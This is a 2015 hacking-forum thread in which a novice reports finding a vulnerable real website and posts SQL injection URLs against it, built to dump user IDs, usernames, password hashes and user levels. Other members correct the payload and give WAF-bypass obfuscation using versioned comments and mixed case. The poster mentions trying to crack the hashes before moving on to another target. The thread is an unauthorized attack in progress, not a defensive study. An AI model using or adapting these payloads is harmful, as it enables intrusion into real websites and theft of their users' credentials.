Jan 11, 2015 07:36 AM
(This post was last modified: Jan 11, 2015 07:39 AM by Viktory.)
So close yet so far..
I found a vulnerable website via SQLi hunter, and set out to exploit it.
I'm stuck in what I believe is a WAF block, and the workaround doesn't work.
Code nightgallery.ca/event.php?id=-91 /*!UNION*/ /*!SELECT*/ 1,Group_Concat(ID,USERNAME,HASHED_PASSWORD,USER_LEVEL),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29 FROM NIGHTGALLERY20.NG_USERS--
"Database Query Failed SELECT command denied to user 'nightgallery20'@'72.167.232.44' for table 'NG_USERS'"
This is my first time attempting SQli. What can I do to bypass this?
Also can someone please link a beginner-friendly vulnerability I can practice on?
Can you hear my voice
come thru the music?
Jan 11, 2015 07:51 AM
(This post was last modified: Jan 11, 2015 07:54 AM by themastersinner.)
Code http://nightgallery.ca/event.php?id=-91 /*!UNION*/ /*!SELECT*/ 1,Group_Concat(ID,USERNAME,HASHED_PASSWORD,USER_LEVEL),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29 FROM nightgallery20.ng_users --
or just:
Code http://nightgallery.ca/event.php?id=-91 UNION SELECT 1,Group_Concat(ID,USERNAME,HASHED_PASSWORD,USER_LEVEL),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29 FROM nightgallery20.ng_users --
I would practice on this site first:
Code http://leettime.net/sqlninja.com/index.php
Thank you so much!! I'm back on track. :)
Can you hear my voice
come thru the music?
(Jan 11, 2015 07:36 AM)Viktory Wrote: So close yet so far..
I found a vulnerable website via SQLi hunter, and set out to exploit it.
I'm stuck in what I believe is a WAF block, and the workaround doesn't work.
Code nightgallery.ca/event.php?id=-91 /*!UNION*/ /*!SELECT*/ 1,Group_Concat(ID,USERNAME,HASHED_PASSWORD,USER_LEVEL),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29 FROM NIGHTGALLERY20.NG_USERS--
This is my first time attempting SQli. What can I do to bypass this?
Also can someone please link a beginner-friendly vulnerability I can practice on?
What tool do you use? sqlmap?
gyazo.com/c5de1a4d7c78c496dcde308983707288
What is that? I used my browser.
Looks like their passwords are hashed and I'm unable to crack them so I guess I'm moving on to the next one.
Can you hear my voice
come thru the music?
Looks just like a case sensitivity issue, depending on whether it's hosted on Win/Linux can change if case sensitivity on tables is a problem or not. I believe in Linux it is case sensitive, in Windows it's not.
If you're looking to practice then SirInjectALot has a site full of vulnerable sites at injectalot.cf
I have details tutorials on injection at my blog in my sig.
/*!50000UnIoN*/+/*!50000SelEcT*/ usually does the trick. The website obviously has a WAF in place so you'll have to bypass it by obfuscating your queries.
|
